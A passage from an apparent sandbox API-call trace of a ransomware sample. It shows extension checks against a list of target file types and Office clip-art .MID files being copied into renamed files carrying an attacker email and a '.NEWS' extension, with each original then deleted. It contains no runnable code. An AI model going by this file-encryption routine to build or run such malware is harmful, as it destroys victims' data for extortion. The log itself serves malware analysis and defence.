4 [0167.788] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.788] lstrlenW (lpString=".docx") returned 5 [0167.788] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.789] lstrlenW (lpString=".pdf") returned 4 [0167.789] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.789] lstrlenW (lpString=".xls") returned 4 [0167.789] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.789] lstrlenW (lpString=".xlsx") returned 5 [0167.789] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.789] lstrlenW (lpString=".ppt") returned 4 [0167.789] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0167.789] lstrlenW (lpString=".zip") returned 4 [0167.789] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.789] lstrlenW (lpString=".rar") returned 4 [0167.789] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.789] lstrlenW (lpString=".bz2") returned 4 [0167.789] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.789] lstrlenW (lpString=".7z") returned 3 [0167.789] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0167.789] lstrlenW (lpString=".dbf") returned 4 [0167.789] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0167.789] lstrlenW (lpString=".1cd") returned 4 [0167.789] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRID_01.MID") returned 67 [0167.789] lstrlenW (lpString=".jpg") returned 4 [0167.789] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.790] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0167.790] lstrlenW (lpString="NBOOK_01.MID") returned 12 [0167.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0167.894] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=5968) returned 1 [0167.894] CloseHandle (hObject=0x474) returned 1 [0167.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 0x220 [0167.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0167.898] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.898] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0167.899] GetLastError () returned 0x0 [0167.899] ReadFile (in: hFile=0x474, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x1750, lpOverlapped=0x0) returned 1 [0167.927] WriteFile (in: hFile=0x454, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x1760, lpOverlapped=0x0) returned 1 [0167.929] ReadFile (in: hFile=0x474, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.929] WriteFile (in: hFile=0x454, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.929] SetEndOfFile (hFile=0x454) returned 1 [0167.930] CloseHandle (hObject=0x454) returned 1 [0167.930] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.930] SetEndOfFile (hFile=0x474) returned 1 [0167.934] CloseHandle (hObject=0x474) returned 1 [0167.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 1 [0167.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0167.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0167.937] lstrlenW (lpString=".doc") returned 4 [0167.937] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.937] lstrlenW (lpString=".docx") returned 5 [0167.937] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.937] lstrlenW (lpString=".pdf") returned 4 [0167.937] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.937] lstrlenW (lpString=".xls") returned 4 [0167.937] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.937] lstrlenW (lpString=".xlsx") returned 5 [0167.937] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.937] lstrlenW (lpString=".ppt") returned 4 [0167.938] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0167.938] lstrlenW (lpString=".zip") returned 4 [0167.938] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.938] lstrlenW (lpString=".rar") returned 4 [0167.938] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.938] lstrlenW (lpString=".bz2") returned 4 [0167.938] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.938] lstrlenW (lpString=".7z") returned 3 [0167.938] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0167.938] lstrlenW (lpString=".dbf") returned 4 [0167.938] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0167.938] lstrlenW (lpString=".1cd") returned 4 [0167.938] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0167.938] lstrlenW (lpString=".jpg") returned 4 [0167.938] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0167.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0167.938] lstrlenW (lpString=".doc") returned 4 [0167.938] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0167.938] lstrlenW (lpString=".docx") returned 5 [0167.938] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0167.938] lstrlenW (lpString=".pdf") returned 4 [0167.938] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0167.938] lstrlenW (lpString=".xls") returned 4 [0167.939] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0167.939] lstrlenW (lpString=".xlsx") returned 5 [0167.939] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0167.939] lstrlenW (lpString=".ppt") returned 4 [0167.939] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0167.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0167.939] lstrlenW (lpString=".zip") returned 4 [0167.939] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0167.939] lstrlenW (lpString=".rar") returned 4 [0167.939] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0167.939] lstrlenW (lpString=".bz2") returned 4 [0167.939] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0167.939] lstrlenW (lpString=".7z") returned 3 [0167.939] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0167.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0167.939] lstrlenW (lpString=".dbf") returned 4 [0167.939] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0167.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0167.939] lstrlenW (lpString=".1cd") returned 4 [0167.939] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0167.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0167.939] lstrlenW (lpString=".jpg") returned 4 [0167.939] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0167.939] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0167.940] lstrlenW (lpString="OUTDR_01.MID") returned 12 [0167.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0167.956] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=6644) returned 1 [0167.956] CloseHandle (hObject=0x54c) returned 1 [0167.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 0x220 [0167.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0167.957] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.957] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0167.958] GetLastError () returned 0x0 [0167.958] ReadFile (in: hFile=0x54c, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x19f4, lpOverlapped=0x0) returned 1 [0168.013] WriteFile (in: hFile=0x514, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x1a00, lpOverlapped=0x0) returned 1 [0168.014] ReadFile (in: hFile=0x54c, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.014] WriteFile (in: hFile=0x514, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.015] SetEndOfFile (hFile=0x514) returned 1 [0168.020] CloseHandle (hObject=0x514) returned 1 [0168.021] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.021] SetEndOfFile (hFile=0x54c) returned 1 [0168.037] CloseHandle (hObject=0x54c) returned 1 [0168.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0168.038] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 1 [0168.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0168.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0168.039] lstrlenW (lpString=".doc") returned 4 [0168.039] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0168.039] lstrlenW (lpString=".docx") returned 5 [0168.039] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0168.039] lstrlenW (lpString=".pdf") returned 4 [0168.039] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0168.039] lstrlenW (lpString=".xls") returned 4 [0168.039] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0168.039] lstrlenW (lpString=".xlsx") returned 5 [0168.039] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0168.039] lstrlenW (lpString=".ppt") returned 4 [0168.039] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0168.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0168.039] lstrlenW (lpString=".zip") returned 4 [0168.039] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0168.039] lstrlenW (lpString=".rar") returned 4 [0168.039] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0168.039] lstrlenW (lpString=".bz2") returned 4 [0168.039] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0168.039] lstrlenW (lpString=".7z") returned 3 [0168.039] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0168.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0168.039] lstrlenW (lpString=".dbf") returned 4 [0168.039] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0168.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0168.040] lstrlenW (lpString=".1cd") returned 4 [0168.040] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0168.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0168.040] lstrlenW (lpString=".jpg") returned 4 [0168.040] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0168.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0168.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0168.040] lstrlenW (lpString=".doc") returned 4 [0168.040] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0168.040] lstrlenW (lpString=".docx") returned 5 [0168.040] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0168.040] lstrlenW (lpString=".pdf") returned 4 [0168.040] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0168.040] lstrlenW (lpString=".xls") returned 4 [0168.040] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0168.040] lstrlenW (lpString=".xlsx") returned 5 [0168.040] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0168.040] lstrlenW (lpString=".ppt") returned 4 [0168.040] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0168.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0168.040] lstrlenW (lpString=".zip") returned 4 [0168.040] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0168.040] lstrlenW (lpString=".rar") returned 4 [0168.040] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0168.040] lstrlenW (lpString=".bz2") returned 4 [0168.040] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0168.041] lstrlenW (lpString=".7z") returned 3 [0168.041] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0168.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0168.041] lstrlenW (lpString=".dbf") returned 4 [0168.041] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0168.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0168.041] lstrlenW (lpString=".1cd") returned 4 [0168.041] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0168.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0168.041] lstrlenW (lpString=".jpg") returned 4 [0168.041] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0168.041] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0168.041] lstrlenW (lpString="PARNT_01.MID") returned 12 [0168.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0168.043] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=6491) returned 1 [0168.043] CloseHandle (hObject=0x54c) returned 1 [0168.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 0x220 [0168.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0168.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0168.044] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.044] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0168.136] GetLastError () returned 0x0 [0168.136] ReadFile (in: hFile=0x54c, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x195b, lpOverlapped=0x0) returned 1 [0168.139] WriteFile (in: hFile=0x4f4, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x1960, lpOverlapped=0x0) returned 1 [0168.140] ReadFile (in: hFile=0x54c, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.140] WriteFile (in: hFile=0x4f4, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.140] SetEndOfFile (hFile=0x4f4) returned 1 [0168.141] CloseHandle (hObject=0x4f4) returned 1 [0168.141] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.141] SetEndOfFile (hFile=0x54c) returned 1 [0168.144] CloseHandle (hObject=0x54c) returned 1 [0168.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0168.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 1 [0168.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0168.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0168.307] lstrlenW (lpString=".doc") returned 4 [0168.307] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0168.307] lstrlenW (lpString=".docx") returned 5 [0168.307] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0168.307] lstrlenW (lpString=".pdf") returned 4 [0168.307] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0168.308] lstrlenW (lpString=".xls") returned 4 [0168.308] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0168.308] lstrlenW (lpString=".xlsx") returned 5 [0168.308] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0168.308] lstrlenW (lpString=".ppt") returned 4 [0168.308] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0168.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0168.308] lstrlenW (lpString=".zip") returned 4 [0168.308] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0168.308] lstrlenW (lpString=".rar") returned 4 [0168.308] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0168.308] lstrlenW (lpString=".bz2") returned 4 [0168.308] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0168.308] lstrlenW (lpString=".7z") returned 3 [0168.308] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0168.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0168.308] lstrlenW (lpString=".dbf") returned 4 [0168.308] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0168.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0168.308] lstrlenW (lpString=".1cd") returned 4 [0168.308] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0168.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0168.308] lstrlenW (lpString=".jpg") returned 4 [0168.308] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0168.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0168.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0168.308] lstrlenW (lpString=".doc") returned 4 [0168.309] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0168.309] lstrlenW (lpString=".docx") returned 5 [0168.309] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0168.309] lstrlenW (lpString=".pdf") returned 4 [0168.309] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0168.309] lstrlenW (lpString=".xls") returned 4 [0168.309] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0168.309] lstrlenW (lpString=".xlsx") returned 5 [0168.309] lstrcmpiW (lpString1=".xlsx", 